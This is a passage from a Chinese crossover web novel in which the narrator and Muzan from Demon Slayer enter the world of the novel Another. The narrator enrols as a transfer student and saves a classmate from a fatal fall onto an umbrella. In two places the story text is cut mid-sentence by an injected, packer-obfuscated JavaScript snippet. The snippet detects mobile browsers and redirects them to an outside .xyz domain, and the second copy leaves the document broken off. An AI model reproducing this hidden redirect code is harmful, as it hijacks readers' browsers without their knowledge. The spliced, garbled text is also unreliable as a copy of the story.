这件事其实很好解决,因为原本伊达航就是在给高木涉看自己那本手册的时候,手册不小心掉落在地,而他又在捡手册时被车辆撞上的。所以根本不需要额外费心,光是我和无惨出现在这里这个小插曲就打断了他们原本的节奏,那辆疲劳驾驶的汽车当然还在,只不过撞在了路边的灯柱上。 说来现在我也只是一般路过热心市民,所以就给他们搭了把手,把出车祸的司机从驾驶室里救了出来。等救护车赶到后,我就向他们道别了。 系统给出了支线任务完成的提示,算是顺利入账30分。 鬼舞辻无惨在走远后从上衣胸前的口袋中抽出两张车票,递给我一张。 “我们到这里的时候就在我这边了,应该是那个系统的玩意。”他对系统毫不通知就往他口袋里塞东西的举动感到不悦,但现在也只能继续按系统的指引行动,“你应该也没什么大碍了,尽快出发吧。” 一张车票,甚至不是新干线的车票,更不是任何一班列车,而是大巴。 车上人不多,验票之后随便找个座位就能坐下。无惨选了后排靠窗的位子,我在他旁边坐下后,他问我大巴的目的地是哪里。 奇怪的是,车票上没有写出目的地,只是看着票根时隐约觉得,要坐到最后一站。 “系统一直没说新的任务去哪里,哦,还有之前提到的补偿任务。”我才想起之前脱离时系统说到的需要后续完成补偿任务,也不知道是什么,希望难度不会很大。 我好像遗漏了什么。 外面的天完全亮了起来,阳光从另一边的车窗洒入车内,半边的车厢都充盈着阳光的暖意。 太阳……太阳! 我立刻转头看向鬼舞辻无惨,他投来莫名其妙的目光。 因为状态实在太差而没有注意,但完美刚才遇到高木涉和伊达航的时候已经天蒙蒙亮了,等救完那个车祸的司机又和他们告别时,太阳更是已经升起来。在这段时间里,无惨一直是站在旁边,也没有去找任何掩体。 “你买过新的道具了?”我打开系统商城查看积分,却没有减少过的迹象。 “没有。”他回答得理所当然,看着我目光变得呆滞时补充道,“大概是短时间内回到这个侦探游戏的作品里,所以之前的道具也没有失效。” 我略有些懵懂地点头,接受了他的说法。 大巴车有些破旧,但好在车本身是安全的。发车快一个小时后我才确信,这辆交通载具真的不会爆炸,也不会侧翻。乘客始终都是那么点人,中间停靠了几站,有些人也提前下了车。不快不慢的车速和前后有节奏的摇晃,让我紧绷的神经一点点放松下来,甚至开始犯了困。 意识回归是在鬼舞辻无惨推着我的头让我醒醒的时候,我睁眼看看他,又看看车窗外,外面已经是日暮西沉。 紧张之后的放松最容易让人完全松懈,所以这一觉在我这里只觉得自己睡得尤其舒服,我不知道自己什么时候向无惨那边靠过去的,不过他到现在才推开叫醒我,说明他还是挺不错的。 我坐正身子活动一下脖子和肩膀:“抱歉,我好像睡了很久。” “下一站就是终点站。”他出声提醒我。此时车内已经没有除我们外的任何乘客,司机仍在勤勤恳恳地开着车,想来他也不会有大问题。 大巴到站没有任何报站的提示音,也没有滚动的信息电子字幕,这倒是有些诡异。 目的地到底是什么地方?答案似乎被刻意掩盖了,没有任何信息能揭示哪怕一点点的关联线索,只有我们在终点站下车后才能看见。 意思就是这次的任务我们估计没有任何脱离选项,必须一直完成到100%进度,我想这大概就是系统说的补偿任务的一环。 车辆在夜色中缓慢停靠在老旧的车站前。 我先一步下车,周围空气中有些轻微的寒意,偶尔一阵风吹来,吹得人渗得慌。 车站矗立在夜色中,没有路灯,远处的一切都被黑夜吞没,只能借着月光看清车站牌子上的站点名,也就是我们来到的这个地方。 无惨的视线落在车站牌上,那里写着本站的名字,与此同时,我也正读出上面的内容。 “夜见山市?” 45. 第 45 章 二十六年前,夜见山北中的三年级三班有一位叫Misaki的品学兼优、人见人爱的优等生,但是在即将毕业的那一年,这位学生死了。或许是交通事故,或许是家里火灾,总之那个优等生就这样去世。班上同学谁都不愿意接受这样残酷的事实,在悲痛中,学生们突然默契地做出了一个举动。 “Misaki同学没有出事呀,她不就在那里嘛。”一位同学先指着Misaki空荡荡的座位说,随后所有人都开始应和。在那之后,全班同学包括老师,都一致决定,把Misaki当作还活着一样继续生活。他们会去空空的座位上自顾自搭话,会在班级活动时刻意喊一句Misaki的名字,就这样一直到毕业。 结果恐怖的事情发生了。拍毕业照时,同学们为Misaki特意留出一个空位,但实际洗出来的照片上,那本该空出的位置上,赫然出现了一个人影。站在那里笑着的,已经死去的Misaki同学,出现在了毕业照上,就像是她也不愿意离开大家一样。 —————————— “等一下。”鬼舞辻无惨抬手打断了我为他讲述的背景设定与前情提要,“所以你说,那个人已经死了,身边的人却装作她没死?” “嗯,是这样,所以之后不幸的事就发生了,算诅咒?或者用原文的话说,只是一种‘现象’,和谁都没有关系。”我走在他身边,踏着夜色走上坡道。 夜见山是个偏远的山区城市,到了深夜就没人在街上走动,连路灯都十分昏暗,我们大多数时候都是借着月色向前走,勉强辨认着周围人家的名字。 无惨似乎是感受到这座城市潜藏着的某种诡谲氛围,现在他表现得比之前去过的现代社会背景的世界要稍微认真些。我是向来不知道气息这种东西是怎样分辨的,《鬼灭之刃》里都是怎样看出一个鬼吃了多少人,或是一个地方有多少鬼的气息,但可以肯定的是,他知道。 当然,这里确实是一座有很多非自然死亡事件的城市,也确实存在灵异现象,用中式风水学来说的话,这里是大凶之地。 啊,说起来,去《非自然死亡》的作品世界玩玩也不错的样子…… “人类的感情很无聊,因为不肯承认身边亲友的死亡而假装那人还存活,我猜这种故事里,他们会为自己愚蠢的行为付出代价。”我们走过一条名为“御先町”的路口,路名就贴在旁边的电线杆上,无惨说着停下了脚步,看向一边的一幢三层建筑。 这幢水泥建筑和周围的民房十分不同,有些像商住楼,外面还摆着一块广告牌。“夜见的黄昏下,空洞的苍之眸”上面写着这样的话,建筑一楼有着宽阔的玻璃橱窗,窗后就是商店展示的一座少女形态的人偶。 夜晚昏黑的环境中隔着条路就看不清展品人偶的样子了,但无惨看向的就是那边,他大约是能清楚看见展品的每一处细节。我告诉他:“正好走到这里了啊,这是这本书女主角的家,算人偶工坊吧。” 他移回视线说没什么,随后继续向前走,我也跟上他继续讲完作品的背景设定。 “你说对了,二十六年前那些学生的行为导致之后的三年级三班隔两年就会发生一次,大概可以被叫做‘有的一年’。”说到了超自然现象故事的高潮部分,想到现在周围深夜的环境和身边这个非人生物正主,我不知为何感觉还挺有趣,“这种现象就是班里在开学时多了一个人——少了一套桌椅,多出来的人是早就死去的人,然后在那一年里,每个月都会产生数个非自然死亡的死者。死者的范围是班里同学,或是与同学存在二等血亲的家里人——父母、祖父母、兄弟姐妹,还有班级老师。” “我倒是头一次听说死人的魂灵能做到这种事。” “所以说啦,也不算什么魂灵,只是一种现象。”我纠正了他的评价,继续向系统指引的方向走。不出意外的话,那里就是故事发生的舞台——夜见山北中。 在这样的前提背景下,今年的三年级三班就是“有的一年”,也就是说,班里混入了死者,往后的每个月都会造成数起意外死亡事件。这就是新本格推理小说《替身》的设定,它的原名相比译名更广为人知——《Another》。 本质上还是死很多人,让我们疲于奔命去救人挽回事态,对抗那个莫名其妙的超自然现象或某种存在,和上一个也没什么不同,鬼舞辻无惨这样说,并问我:“你现在倒是表现得比那会冷静些,怎么这个地方你反而不怕了?” 我说那是因为逻辑缜密的推理小说和只有纯粹机制的恐怖电影存在本质上的区别。 “《替身》再怎么样也是新本格推理小说,翻拍的影视作品可能为了追求视觉效果而改写剧情,但原作是有严格逻辑的。”有了先前《斩·赤红之瞳》的经验,我可以确定在这种有数个版本的作品世界,系统会优先将我们送到最初的原版——只要我看过。 新本格作品存在作品自身的设定,也就是规则,遵守规则、尊重设定,就不会给自己惹上大麻烦,我笃信这一点。 而且这里的死亡机制有一个很好的解决方法:让死者回归死亡。 人话就是把多出来的那个死者再杀死一次。 这真的很简单,更别提这类推理小说只要阅读过就不会忘记关键人物,稍作回忆就能想起本年的死者,再次杀死那个死者就能提前化解…… 话说到这里,我保持着张口的动作顿住了。 我闭上嘴想了很久,努力回忆自己看小说时看过的每一句话,但还是发现了一个令人头大的现状。 “我想不起来了。”我站住脚步叫了鬼舞辻无惨,面色凝重地看着他,“这种书看过之后就不会忘记的,但我想不起来谁是死者了。” 甚至更严重的是,作品的一些死亡场面是大多数读者公认的经典场面,也同样是不该忘记的内容,可我现在一个都想不起来。谁在什么时候死去了,因为什么原因遇难,我一点都想不起来了。 是现象导致,还是…… 【已开启任务《替身》,同时开启补偿任务:在不提供玩家阅读记忆的前提下尽可能获取更多积分】 狗东西! 【可提供辅助功能:角色死亡点预知——十五分钟】 “你的意思是有人死之前十五分钟我才能想起来吗?这点时间……” 就算夜见山只是个不大的山区小城,死亡可能发生的范围也是整座城市,只有十五分钟的话能赶上几次? 我承认,在来到这里的时候自己有过一瞬的期待,因为推理小说这种遵守逻辑的超自然现象随随便便就能用技能化解,这种会有很多人死于非命的故事也可以顺手救下很多人,然后赚到很多积分,可现在和我预想中的不太一样。 算是高难任务,还是说理解成沉浸式游玩呢?亲身体验一遍这个精彩的故事,和主角一同寻找线索、破解谜题,享受一下推理的乐趣。 饶了我吧,我可不擅长对付本格推理中那些“所有的线索已经全部呈现在你眼前”的挑战读者环节,自认脑子转得不如侦探的我,在读书时看到真相和手法就已经足够惊叹了。 不过现在再去思考的话,大脑里勉强保留了一部分记忆。 大多数死亡事故应该还是发生在学校范围,所以正常地上学放学就不会有什么问题,小说的结局应该是暑假时候,记得是有什么集体活动的事件,不出意外那里也差不多是小说的最高潮部分,逻辑推断下来必然发生死亡情节,所以集体活动也一定要参加。 男女主的名字倒还能想起来,男主榊原恒一与女主见崎鸣,在这样的小说里便担任着“侦探”与“助手”的角色,那必定不可能是多出来的死者,在谜底揭开之前也绝不会死于非命。 说起来见崎不就是那个Misaki?鬼舞辻无惨自然是听出了日语读音上的巧合,我说这就是作者绫辻行人为作品塑造的诡异氛围之一,关于这个名字和女主角见崎鸣本人还有一些其他的故事,不过无惨在我说之前就表示了自己不感兴趣。 “反正我也差不多忘干净了。”我打着哈哈继续和他聊着这本书的情节,希望自己还能再多回忆起零碎的线索。 这么说来,我们要在这个世界停留上整整三个多月,其中大部分时间都是平静细碎的校园生活。我注意到系统提示的时间,现在是五月初,算过大致日期后我这么对无惨感慨。 “三个月也很短吧,只不过照你说的故事情节,确实有些拖沓。”毕竟三个月内发生死亡事故的仍只是少数日子,他尽管对此不悦,也只能等候故事的时间线。 行路的终点就是夜见山北中的校门,此时仍是夜晚,略有些陈旧的教学楼静静伫立在夜色中。由于那个只发生在三年级三班的超自然现象,整座楼似乎都笼罩着一层不祥的诡谲色彩。 系统给出了任务开始前最后的提示,会为我们安排合理的身份入学,我会以转学生的身份进入三年级三班,而鬼舞辻无惨则是新来的老师。说起来为什么他可以当老师,我就只能当学生,要坐在教室里重新体验三个月中学时代?! 他没有说什么,甚至也不打算帮我和系统说说让我也去当老师——想也知道他应该是不会说的——只是站在校门口,看向正对校门的教学楼。突然,他说出一句让我几乎惊掉下巴的话:“死者的范围只在那个班级,只要再次杀掉死者就能结束一切,那么,直接把那个班级的老师和学生都杀死不就好了吗?” “什么?” “反正放着不管他们也会死很多人,那全部杀死也没什么区别,还能更快结束,甚至不需要你去买那些技能石,也不用多花时间过无聊的校园生活。”他说着,看起来似乎真的打算那么做。 那样理论上似乎也可行,但是……不对,这不就跟做任务的初衷相悖了嘛!系统不会允许的吧,会被当作违规然后扣分的吧,这样速通赚到的积分能弥补被扣掉的分吗? 不不不,这件事怎么想都是不可以的吧! “别用那蠢表情思考了,我不会那么做的。”他的笑声让我反应过来他只是开了个玩笑,尽管他说得很像真要那么做,“你还真想过同意这个提议?” “如果你真的有那个打算……”我坦白自己确实,可能心底也想尝试一次彻底搅乱剧情。 鬼舞辻无惨又一次笑出声,那声嗤笑不带什么情绪,只是觉得某件事好笑做出的反应。他转向我,难得垂下目光与我四目相对,说:“你居然真能为自己的喜欢做到那个程度吗?虽然也是人类情感的通病,不过这样想的话,白夜,你还是做人类有趣。” 那我谢谢他的夸奖? “你就用这三个月的时间好好努力吧,我是没有和小屁孩建立深厚友谊的兴趣,倒是你……”系统安排完毕后时间就像按下了倍速键,凌晨的夜空倏地就亮起来,转变成了早晨上学的时候,无惨在天亮起之前重新用上了克服阳光的道具,正说着话目光扫向我时,话语却停下了。 我正看着夜见山北中的校名牌发呆,身边没了声后看向他。 怎么觉得视角怪怪的? 无惨比我高不假,现在我看他时也微微抬头去看他的眼睛,但总感觉这一次我需要抬头的幅度稍微增大了些。是他变高了吗?也不对,从旁边校门的参照来说他还是那样,那难道我变矮了? “你这是什么样子?”他略带疑惑地质问我,看了看旁边似乎想找什么能让我看清自己模样的东西,然而周围什么有用的也没有,他也最终无奈地看回来简单描述了一番,“你变矮了一点,脸……看着年纪更小了,你用什么道具了?” 我没有使用易容道具的记忆,积分更是只有他使用的记录,所以他说的奇怪变化不是我们中的任何一个造成的。听着他的话我似乎反应过来发生了什么,低下头后看见的一切也证实了这个猜想——我不知何时穿上了夜见北的校服,五月初的日本并不算炎热,身上的深色长袖学园制服外套显然还是春装的款式,胸口还别着写有我名字的铭牌,记得这个学校是有学生在校期间需佩戴铭牌的规定。 哈,亏我之前还好奇过系统打算怎么让我融入这个学校学生的身份,甚至打算自己用道具装扮一下,免得被老师和同学怀疑。 因为夜见山北中,是初中。 系统看来是不打算对此做出回应,但这事铁定是它干的没跑了,成年人和初中生的外表差距太大了,不做点什么确实太假了。虽然对它没有提前通知有些意见,但这事我也没理由骂它,替我们省了变装的积分倒也该说句还挺人性化。 总得来说,我变成十五岁的样子了。 “我都要不记得十五岁小孩说话是什么感觉了,算了,反正也不打算和他们有太多交流。”说多错 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15679177|173202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多,像江户川柯南那种小学孩子偶尔说出一句惊人之言还能用童言无忌搪塞过去,十几岁的中学生说话口吻像成年人,又是放在这种严肃的世界观背景,我可不会自讨没趣。系统带来的这个变化,倒是让我坚定了自己先前想的一个决策。 鬼舞辻无惨问我在想什么,我告诉他,因为我可以是第二个不存在的人。 为了应对“有的一年”,也就是班里莫名其妙多出一人、会带来死亡灾祸的情况,往年的三年三班经过多种测试得出了一个最有效的办法:选出一名同学将其视作不存在的人。简单来说就是班上所有人都无视那人的存在,上课也好活动也好,所有人装作不知道,无论那人做什么说什么都不去理会。 往年这种方法若是能有效坚持,确实可以避免一年的意外死亡。今年的三年三班原本认为是“没有的一年”,却因男主榊原恒一的转学而又变成了多出一人的情况,所以班上同学临时决定选出一人当作不存在的人。现在我再加入这个班级的话,想必他们已经炸开锅了。 “谢天谢地我居然还记得这些,总之我会直接和班主任说,让他们把我当作第二个不存在的人就行,这样我在学校里也自在点。” 其实以前也有过担任这一职责的同学最终压力临界爆发而中断的情况,这个年纪的孩子一直被无视,所有人都装作不知道看不见,何尝不是在经历无形的冷暴力呢?换作是我在这个年纪,会理所当然会崩溃的。 只不过现在我是带着目的来的,也真的不想再体会一遍坐在教室老实上课的中学时代了,顺水推舟当一个“不存在的人”,我和那些学生都轻松。 “可这种方法没有用吧,你之前不是说他们一直到八月都还有人死吗?”无惨对这种方法也不置可否,但他也说,这确实是一群小孩能想到的最好的方法,还不算只会等死。 我点头:“因为今年的灾祸早就开始了,从一开始就多一个……啧,都能回忆到这里了,怎么就想不起来谁是死者……算了,总之这种方法也只能坚持到六月,在那之前,也麻烦你在有别人的时候尽量无视我咯。” “那你最好是别趁机做什么挑战我耐心的事情。” “我没那么坏吧?” 于是一切都顺理成章地安排妥当了。 在我向三年三班的班主任久远寺老师提出,干脆就让大家将我这个又多出来的转学生当作不存在的人时,他露出了有些惊恐的神情。这是只存在于夜见山北中的传闻,甚至只有三年三班的人会知道,久远寺老师不明白我为何会了解这条规则,但他还是同意了。 毕竟这是最省事的方法,不需要任何原有的同学承受压力,只要“我能做好这个任务”,一切都会平安无事。 虽然知道这个故事早就无法走向安全结局了,但就当作人道主义关怀吧,总要给他们点心理慰藉。 迎接我的没有经典日漫或日剧里的讲台前自我介绍,只有班会课结束后拉开一条缝的教室后门,和为“不存在的人”准备的破旧课桌椅。我进去坐下的时候另一位“不存在的人”见崎鸣不在教室,想来是因为第一节课是班主任久远寺的语文课,不擅长文科的见崎鸣干脆翘课去图书馆看书了。 这部作品的年代甚至是二十世纪末,科技远不如我生活的时代发达,没记错的话这里的学生使用的大多数都是老式翻盖机,那我身上的通讯设备又都无法使用了。虽然不是很想为了这部作品专程去买新手机,但考虑到之后可能要和男主榊原恒一联系交流信息,还是做好准备比较好。 至于课程,此时的日本并未开始推行快乐教育,但公立初中的学业也不会复杂到哪里去,尽管如此,语文课讲授的这些日本文学名篇倒是我不曾学过的内容,偶尔跟着听听还算有意思。到数学课的时候,我本打算翘掉这节课去校园里走走,却不想上课铃响后,是鬼舞辻无惨走进了教室。 我差点笑出了声。 我原以为他会是教文科科目的老师,尤其是历史,毕竟这位可是从平安一直活到大正的亲历者,光是他自己的记忆都足够教好几节课了。如果是他来上课的话,那不怎么有趣的数学课也会很有看点了,我这样想着,又坐了回去。 能亲眼看无惨收着性子装出耐心和善与人讲话的机会可不多啊。 日子倒也这么平静地过下去了,一直到五月下旬,都没有任何死亡情节的预警,也没有发生任何意外,这简直就是一段完全的校园日常故事。榊原恒一也是转学生,没被告知任何夜见北传闻的他总是好奇于见崎鸣的境遇,当然他也好奇与见崎鸣相同的我;但我的翘课频率比见崎鸣更高,甚至出现在他视野中的场合都更少,所以他还是常去找见崎。 鬼舞辻无惨给人留下了在学校里工作到最晚、第二天最早来学校的好老师的印象,要说为什么的话,其实他就从来没有离开过。当然我也是。 缺德系统并没有为我们准备住处,所以最后我选择了教职员办公室,那边正好有一张半新的沙发。夜晚留在学校里开灯就会被保安发现,所以天黑之后我总会无事可做;我尝试过把小说给无惨让他读给我听,因为他在黑夜也看得清楚,但他把书丢回给我然后拒绝了。 “我现在是未成年人,你要做好一个老师的工作。”变成中学生之后总觉得和他吵架都少点气势——不过我本来也吵不过他,所以算了。 “我不是你的监护人。”他从办公桌的小盒子里拿出几根短粉笔头,一根根丢向我,原本没有攻击性的粉笔头在他的力量下倒是变得像某种高速旋转的弹头。看着我狼狈躲避的模样,他满意地笑了。 半个月下来我受益最多的竟是作息变健康了。 五月二十六日的那天,夜见北的学生迎来了本学期的期中考试。 从前夜起,就一直淅淅沥沥下着连绵的雨,雨势不大,却完全没有停的迹象。夜见北没有那么严格的规矩,什么雨伞集中放在教学楼门口之类的,每个班的学生都只需将伞收好放在教室门外的走廊上。 虽然是不存在的人,但还需要参加考试这一点是让我十分不爽,但既然在这个环境,也不能做出太违背常理的行为。我想着大不了提前交卷,随便考个分数,一路走向教室。 我站在教室门口,看向统一放伞的架子。 一柄米黄色的长柄弹簧伞,在所有的雨伞中格外刺目。 46. 第 46 章 所以到底是谁想的这种规矩?我一个“不存在的人”居然还要参加考试! 我的学习生活已经习惯性地变成了平日摸鱼和期末周努力,大学生嘛,就是这样的,期末周可以拥有动人的精神状态,但也就是每学期一次的特别节目。至少可以不用像中学时代那样三五天一次小测,每月一次大考,所以当我不得不坐在教室里和发下来的语文试卷面面相觑时,我真的挺想骂人的。 好吧,我理解“不存在的人”这种方法只是用来化解夜见山北中三年三班异常现象的缓兵之计,如果可以的话,还是没有老师想完全无视学生的。这间教室里另一个“不存在的人”见崎鸣也好好坐在座位上拿笔准备写上点什么东西,毕竟这种现象是初中毕业后就会结束,如果学生自己还要考取高中的话,也总是得在意一下成绩。 反正我又不用考。 我提笔随便答了几道选择题,把阅读文章当课外读物扫了几眼,随后将试卷翻过来盖在破旧的桌面上。稍微再过一会就交卷离开,我是这么打算的,除了实在不想考试之外,还有一些其他原因。 进教室之前看见的伞架上的那把米黄色弹簧伞,不知为何让我感到不安。 那是一种心里发毛的感觉,像是有什么人拿着鱼刺拉链中粗糙的那一块不轻不重地摩擦,谈不上难受,但也不舒服。 会和什么人的死亡有关吗?我回忆着那长柄的雨伞,脑海中关于小说的记忆如同蒙上厚重的海雾,伴随着今日阴雨的潮湿气味,让我始终无法回忆起自己在意那把伞的原因。 事先声明我也并不是想诅咒这个班级的学生,只是作品的大背景就建立在超自然现象开始、每月固定有死亡事件的基础上,而五月至今已经二十六日,月底的到来在本月死者空缺的时候显得越发危险。意外死亡确实是概率事件,而在“每个月至少发生一起”的前提下,现在身边发生这类事件的概率也是水涨船高。 还是暂且先相信系统吧,我回忆着系统最初说到的提前十五分钟能想起角色死亡事件,这十五分钟可能来不及让我从学校赶去学生家中,但校内还是绰绰有余。 我无法保证无伤亡通关这个世界的任务,隐约记得有些人死因是病理性的,那种情况下我也无能为力,像一些同学家中亲属就是那些来不及从学校赶去居民区的情况…… 【预警】 【十五分钟后人员死亡——樱木三枝子】 【死因:车祸】 我握笔的手猛地攥紧笔杆,突然顿住的动作差点给课桌撞出声响来,此时距离开考根本没过十分钟,系统就弹出了这个预警。 好吧,至少可以确认它说的给提示不是在骗人。 樱木……记得是三年三班女生班长的名字,但她更是普通地坐在教室里正埋头疾书着,这可是学校,这间教室还不是一楼,总不能真有一辆车飞入校园创进高层教室然后精准撞死她一个人。 而且怎么印象中这里的死亡情节并不是车祸? 过往的记忆随着预警提示慢慢揭开,我在心底默念一遍方才系统给出的预警,终于发现了问题所在。 三枝子不是班长的名字吧! 我双脚蹬地将自己坐着的椅子向后推,随后起身径自离开了考场,但是在走出教室之前,我又去那名戴着圆框眼镜的短发女孩桌边晃了一圈。 这就是“不存在的人”的好处,我注意到负责监考的班主任久保寺投来视线,而当我走到那位女生班长身边时,她原本平常的呼吸也在同时变得急促起来。我低头看着她做到一半的试卷,在我停下后的半分钟里,她没有再往下写出一个字。 我突然觉得,原来监考老师的凝视是这么好玩的东西。 虽然有些对不起她,但我本意也并不是偷看她的答案或是给她压力,确认过她在卷子上写的名字后,我从教室后门出去了。 樱木由加利,这才是她本人的姓名。 所以十五分钟后死亡的并非这个为人亲切踏实的女孩子,但很显然,与她拥有相同姓氏的樱木一定是她家中的某位成员。死亡现象会发生在学生家中亲属身上,就像现在这样的情况,但我是真无法赶过去救下那个会死于车祸的人。 我也更不可能走到樱木由加利身边,直接告诉她什么你的家人要出车祸去世了,那也太冒犯了! 最后我站在走廊里,看着窗外下个不停的雨,想着要不要去办公室找无惨玩。 但总觉得,事情还没这么简单就结束。 系统已经安静下来,走廊上的那柄弹簧伞还是惹眼得令人烦恼,我走过去拿起伞撑开又收拢,确认了伞本身没有问题,肯定是不会发生那种莫名其妙的雨伞吃人事件。 究竟是哪里不对劲呢…… 开考后三十分钟左右,见崎鸣交卷走了出来,我向她点点头打了招呼——我俩到底是境遇相似的人,也互相都理解这个班级为保命制定的对策。但直到现在,我都没有和她真正搭过话,她走出来后就站在走廊上看着窗外的密雨发呆,我转身向楼梯间的方向走去。 没记错的话她好像是有什么特别的能力,关于这点我也不太记得了,但在弄清楚之前还是不要提前接触比较好。万一她真看出来我或鬼舞辻无惨是和这里的其他人不同的存在,那就麻烦了。 嗯……主要是麻烦在无惨可能会想杀人灭口。 这个点车祸已经发生了,系统没有给出任务失败的提示,看上去在这个作品世界,计算救人任务的方式也有所不同。我一步步向下走,想着要不还是去找鬼舞辻无惨聊聊天,或者去小镇上随便什么地方走走,便又一次听见那个刺耳的预警声音。 【预警】 【十五分钟后人员死亡——樱木由加利】 【死因:颈部刺伤、失血、窒息】 提示音来得太突然,我差点一脚踩空摔下最后几级台阶。 记忆如潮水般灌入脑中,小说的文字与改编动画的画面也走马灯般翻过,我愣愣地在楼梯上站住,不禁回头看向自己刚才走下来的地方。 这里就是接下来那段死亡情节的发生地。 我都想起来了。 樱木由加利在考试时收到自己母亲三枝子出车祸的消息,出了教室抓起自己的雨伞就要赶去医院。她本该从最近的楼梯下楼的,但她看见了站在楼梯口的见崎鸣与榊原恒一,对“不存在的人”和与她搭话的榊原感到恐惧的樱木,就这样转身换了个方向,这就导致了她的死亡。 雨天带来的是潮湿的环境,教学楼的地板上都蒙着一层水汽,樱木匆忙下楼时在楼梯上滑倒,手中的伞脱出掉落在地,碰撞中长柄弹簧伞恰好撑开,尖锐的伞尖就这么对准了倒下去的樱木的脖颈…… 而樱木三枝子出车祸的地点是夜见山河堤坝旁的车道上,《替身》书中有写到过,我直到现在才回忆起来,多半是因为这两场死亡事故的关联性极强,车祸是楼梯间血案的导火索,所以直到最终事故的预警之前,我都无法准确回忆起前者的细节。 摸清了系统预警与给信息的路子,我顾不上思考这种模式会有什么麻烦,当务之急是让樱木由加利免于那场悲剧。 当然,这难度可比之前需要战斗的每一次都简单多了。 我重新走上楼看了一眼,榊原恒一正在教室外与见崎鸣说话,短时间内他们也都不会离开那边,而楼下传来急促的脚步声,应该是体育老师宫本前来通知樱木那则医院的消息。 很好,所有人员都在自己应有的位置上,樱木就必定会从此处下楼。 但在她走下来之前,我也不能杵在这。见崎鸣会让她恐惧到调转方向,那我这个同样“不存在的人”出现在她视野中只会增加不确定性,想一次性成功地化解这段死亡剧情,最好的方式就是排除她摔倒之前的所有多余因素。 宫本老师与我擦肩而过,在注意到我时,他或许是想出声提醒我即便是“不存在的人”也不要在考试期间乱走,但毕竟他还急着上楼去三年三班,所以只是看了我一眼就继续上楼了。 我又向下走了半层,直到我抬头看向上层楼梯,确认自己已经站在了樱木下楼时看不见的地方,随后便听见另一个急促的脚步声渐渐靠近楼梯间。这阵脚步与成年男性体育老师的不同,显得更轻,步幅小而步频高,一听就是属于年轻学生的。 我压低身子抬起一脚踩上两级台阶,让自己更靠近楼梯扶手,方便在事发第一时间就冲上去接住那个摔下来的女孩。 体质的改变给了我比常人更敏锐的感官和更强的爆发力,很快我就听见上方尖锐的摩擦音,然后清脆的塑料物体落地声伴随着米黄色雨伞落入我的视野。亲眼见证这一幕才感到比阅读时更甚的寒意,方才毫无异常的雨伞落地时莫名弹开,瞬间撑开的伞面与伞柄形成牢固的结构,以一种令人绝望的角度,正对着从楼梯上翻滚而下的樱木由加利。 短促尖叫声响起的同时,我已经跃上了楼梯中间的平台,挥手将撑起的雨伞打开到旁边,又向上走了几步,用肩膀连带着半个身子作为支撑,结结实实地接住了扑下来的樱木。 即便只是中学女生,几乎接近自由落体姿势的人类身体还是让我差点也一起向下倒去,好在我方才做了明智的行动,分别踩在楼梯与平台的前后两脚也形成了较为坚固的结构;同时,我的左手在情急之下也下意识抓住了楼梯扶手,这才让我没被这股重量带倒。 我长出一口气,忍不住回头看了眼身后。 那把米黄色的雨伞,在被我推开后,圆形的伞面以伞柄为支点,原地转了一圈后又回到那个伞尖朝前的方向,而此刻宛若闪着寒光的伞尖正正好好指向我背后。 “这我要是没站住摔了……”存在超自然现象的悬疑推理小说世界还真是不得了,死亡情节的剧情强制性比其他作品都强,轻易干涉也不失所望地容易把自己的命也搭进去。 樱木由加利刚从混乱中反应过来,她的眼镜在摔落中掉到了地上,落在楼梯中间的平台上,镜片也摔碎一个角。她呆愣地越过我看向下方的伞尖,惊魂未定地喘着气,双手不禁紧紧抱住我。 “哎呀,没事没事,以后还是换一种伞吧。”我从楼梯上退下来,将那个令人不安的雨伞向后又踢了踢,一手拍着少女的后背安抚她,另一手将她扶起。楼梯上方,听见尖叫声的宫本与榊原恒一也赶了过来,但他们现在看到的不再会是那个让榊原反复做噩梦的血腥场景了,至少目前,一切安全。 【完成《替身》支线任务,获得积分奖励30】 系统弹出了完成任务的提示,这应该就是实锤确认目前不会有新的危险情况了。 我将樱木由加利交给宫本老师,从地上收起她的雨伞挂在扶手上便独自离开了。 的确是我救了她,但我到底是“不存在的人”,在危险暂告一段落后,樱木只是用躲闪的目光看了我几眼,随后低下头小声地说了句谢谢,然后拿过伞和宫本老师说起话,又在他的陪同下慢慢下楼。 这是不能怪他们的,我知道。面对着死亡的威胁,只要无视一两个同学就能保证所有人平安的话,大家都会这么做。其实我还反应过来,我救下樱木导致没有死亡事件在校内发生,这样的话可能真的会导致学生认为这个方案有效。 但事实上樱木由加利的母亲已经成为了五月死者,接下来三班的学生会商议着再增加一名“不存在的人”,把转学来的、擅自与见崎鸣搭话的榊原恒一也列入其中,然后再观察一个月,看看是否能避免惨祸的继续。 这么说来,如果真的在我的行动影响下,六月没有产生死者,那他们之后会怎么做? “人类向来是贪图安逸的,没有人死掉他们就真的会以为这种掩耳盗铃的方式有用。” 我去办公室找了鬼舞辻无惨,现在还在考试期间,办公室里只有他不需要监考,我也就光明正大来和他聊之后的安排。他早看见了系统积分的变化,在听我讲完今日的事故与我的担忧后直接评价了他的想法。 “虽然那个现象包含亲属的死亡,但这种事不发生在学校里,让所有人都看见,就没人会当回事吧,对其他人来说也是,只要不发生在自己家,那群蠢小鬼就真的会以为平安了。” “那我还是记得的,因为死亡接连出现,所以‘不存在的人’战术失效,他们学着之前一届的三班举行了夏令营,那是整部作品的关键剧情。”我抽了纸笔出来简单画了时间线,在八月的夏令营活动上圈了几个圈,又标出前面的六月与七月。正是因为灾祸无法停止,学生们才会死马当活马医,效仿前辈们举行夏令营;如果真的让他们以为不会再有死人了,那就不一定再会有那段情节,那问题就大了去了! 鬼舞辻无惨垂眸扫了眼我画的时间线,我将纸推给他,他移 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 